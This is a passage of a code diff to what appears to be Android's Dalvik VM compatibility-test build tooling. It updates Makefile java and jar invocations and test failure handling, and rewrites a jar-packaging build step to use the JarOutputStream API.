+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
-vmteststf_dep_jars := $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
+vmteststf_dep_jars := \
+ $(HOST_JDK_TOOLS_JAR) \
+ $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
$(LOCAL_BUILT_MODULE): PRIVATE_JACK_EXTRA_ARGS := $(LOCAL_JACK_EXTRA_ARGS)
@@ -86,7 +88,7 @@
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
-$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(subst $(space),:,$(vmteststf_dep_jars)):$(HOST_JDK_TOOLS_JAR)
+$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
$(LOCAL_BUILT_MODULE): PRIVATE_JACK_VERSION := $(LOCAL_JACK_VERSION)
ifndef LOCAL_JACK_ENABLED
$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
@@ -94,11 +96,13 @@
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
# generated and compile the host side junit tests
@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
- $(hide) java -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+ $(hide) $(JAVA) \
+ $(if $(EXPERIMENTAL_USE_OPENJDK9),--add-exports jdk.jartool/sun.tools.jar=ALL-UNNAMED) \
+ -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar \
$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
- $(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
+ $(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR) \
$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
@@ -113,11 +117,11 @@
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
# generated and compile the host side junit tests
@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
- $(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) java -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+ $(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) $(JAVA) -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
- $(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
+ $(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
$(hide) $(call call-jack) --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar --output-jack $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
index 7baf67d..df1e017 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
@@ -47,10 +47,11 @@
T_opc_throw_2 t = new T_opc_throw_2();
try {
t.run();
- fail("must throw a Throwable");
} catch (Throwable e) {
// expected
+ return;
}
+ fail("must throw a Throwable");
}
/**
@@ -60,10 +61,11 @@
T_opc_throw_8 t = new T_opc_throw_8();
try {
t.run();
- fail("must throw a Error");
} catch (Error e) {
// expected
+ return;
}
+ fail("must throw a Error");
}
/**
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index 08b1e5f..187858c 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -34,6 +34,7 @@
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashSet;
@@ -242,7 +243,7 @@
}
private String getShellExecJavaLine(String classpath, String mainclass) {
- String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K " +
+ String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K -Xnodex2oat " +
"-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
classpath, mainclass);
StringBuilder code = new StringBuilder();
@@ -261,7 +262,7 @@
}
private void addCTSHostMethod(String pName, String method, MethodData md,
- Set<String> dependentTestClassNames) {
+ Collection<String> dependentTestClassNames) {
curJunitFileData += "public void " + method + "() throws Exception {\n";
final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
TARGET_JAR_ROOT_PATH);
@@ -344,7 +345,7 @@
MethodData md = parseTestMethod(pName, classOnlyName, method);
String methodContent = md.methodBody;
- Set<String> dependentTestClassNames = parseTestClassName(pName,
+ List<String> dependentTestClassNames = parseTestClassName(pName,
classOnlyName, methodContent);
addCTSHostMethod(pName, method, md, dependentTestClassNames);
@@ -490,7 +491,7 @@
}
private void generateBuildStepFor(String pName, String method,
- Set<String> dependentTestClassNames, Set<BuildStep> targets) {
+ Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
for (String dependentTestClassName : dependentTestClassNames) {
@@ -640,9 +641,9 @@
* @param methodSource
* @return testclass names
*/
- private Set<String> parseTestClassName(String pName, String classOnlyName,
+ private List<String> parseTestClassName(String pName, String classOnlyName,
String methodSource) {
- Set<String> entries = new HashSet<String>();
+ List<String> entries = new ArrayList<String>(2);
String opcodeName = classOnlyName.substring(5);
Scanner scanner = new Scanner(methodSource);
@@ -673,7 +674,7 @@
Matcher m = p.matcher(methodSource);
while (m.find()) {
String res = m.group(1);
- entries.add(res.trim());
+ entries.add(0, res.trim());
}
// search for " load(\"...\" " and add as dependency
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
index 776e905..7fbe2d5 100644
--- a/tools/vm-tests-tf/src/util/build/JarBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
@@ -16,28 +16,36 @@
package util.build;
-import sun.tools.jar.Main;
-
+import java.io.BufferedInputStream;
import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
-
+/**
+ * JarBuildStep takes a single input file and embeds it into a (new) jar file as a single entry.
+ */
public class JarBuildStep extends BuildStep {
- String destFileName;
+ String outputJarEntryName;
private final boolean deleteInputFileAfterBuild;
- public JarBuildStep(BuildFile inputFile, String destFileName,
- BuildFile outputFile, boolean deleteInputFileAfterBuild) {
- super(inputFile, outputFile);
- this.destFileName = destFileName;
+ public JarBuildStep(BuildFile inputFile, String outputJarEntryName,
+ BuildFile outputJarFile, boolean deleteInputFileAfterBuild) {
+ super(inputFile, outputJarFile);
+ this.outputJarEntryName = outputJarEntryName;
this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
}
@Override
boolean build() {
if (super.build()) {
- File tempFile = new File(inputFile.folder, destFileName);
+ File tempFile = new File(inputFile.folder, outputJarEntryName);
try {
if (!inputFile.fileName.equals(tempFile)) {
copyFile(inputFile.fileName, tempFile);
@@ -56,25 +64,53 @@
+ outDir.getAbsolutePath());
return false;
}
- String[] arguments = new String[] {
- "-cMf", outputFile.fileName.getAbsolutePath(), "-C",
- inputFile.folder.getAbsolutePath(), destFileName};
- Main main = new Main(System.out, System.err, "jar");
- boolean success = main.run(arguments);
- if (success) {
- if (tempFile != null) {
- tempFile.delete();
- }
- if (deleteInputFileAfterBuild) {
- inputFile.fileName.delete();
- }
- } else {
- System.err.println("exception in JarBuildStep while calling jar with args:" +
- " \"-cMf\", "+outputFile.fileName.getAbsolutePath()+", \"-C\"," +
- inputFile.folder.getAbsolutePath()+", "+ destFileName);
+ // Find the input. We'll need to look into the input folder, but check with the
+ // (relative) destination filename (this is effectively removing the inputFile folder
+ // from the entry path in the jar file).
+ Path absoluteInputPath = Paths.get(inputFile.folder.getAbsolutePath())
+ .resolve(outputJarEntryName);
+ File absoluteInputFile = absoluteInputPath.toFile();
+ if (!absoluteInputFile.exists()) {
+ // Something went wrong.
+ throw new IllegalArgumentException(absoluteInputFile.getAbsolutePath());
}
- return success;
+
+ // Use a JarOutputStream to create the output jar file.
+ File jarOutFile = outputFile.fileName;
+ try (JarOutputStream jarOut = new JarOutputStream(new FileOutputStream(jarOutFile))) {
+ // Create the JAR entry for the file. Use destFileName, and copy the timestamp
+ // from the input.
+ JarEntry entry = new JarEntry(outputJarEntryName);
+ entry.setTime(absoluteInputFile.lastModified());
+
+ // Push the entry. The stream will then be ready to accept content.
+ jarOut.putNextEntry(entry);
+
+ // Copy absoluteInputFile into the jar file.
+ Files.copy(absoluteInputPath, jarOut);
+
+ // Finish the entry.
+ jarOut.closeEntry();
+
+ // (Implicitly close the stream, finishing the jar file.)
+ } catch (Exception e) {
+ System.err.println("exception in JarBuildStep for " +
+ outputFile.fileName.getAbsolutePath() + ", " + outputJarEntryName);
+ e.printStackTrace(System.err);
+ jarOutFile.delete();
+ return false;
+ }
+
+ // Clean up.
+ if (tempFile != null) {
+ tempFile.delete();
+ }
+ if (deleteInputFileAfterBuild) {
+ inputFile.fileName.delete();
+ }
+
+ return true;
}
return false;
}
@@ -82,7 +118,7 @@
@Override
public int hashCode() {
return inputFile.hashCode() ^ outputFile.hashCode()
- ^ destFileName.hashCode();
+ ^ outputJarEntryName.hashCode();
}
@Override
@@ -91,7 +127,7 @@
JarBuildStep other = (JarBuildStep) obj;
return inputFile.equals(other.inputFile)
&& outputFile.equals(other.outputFile)
- && destFileName.equals(other.destFileName);
+ && outputJarEntryName.equals(other.outputJarEntryName);
}
return false;
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index a05b658..32300b2 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE := compatibility-host-vm-targetprep
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)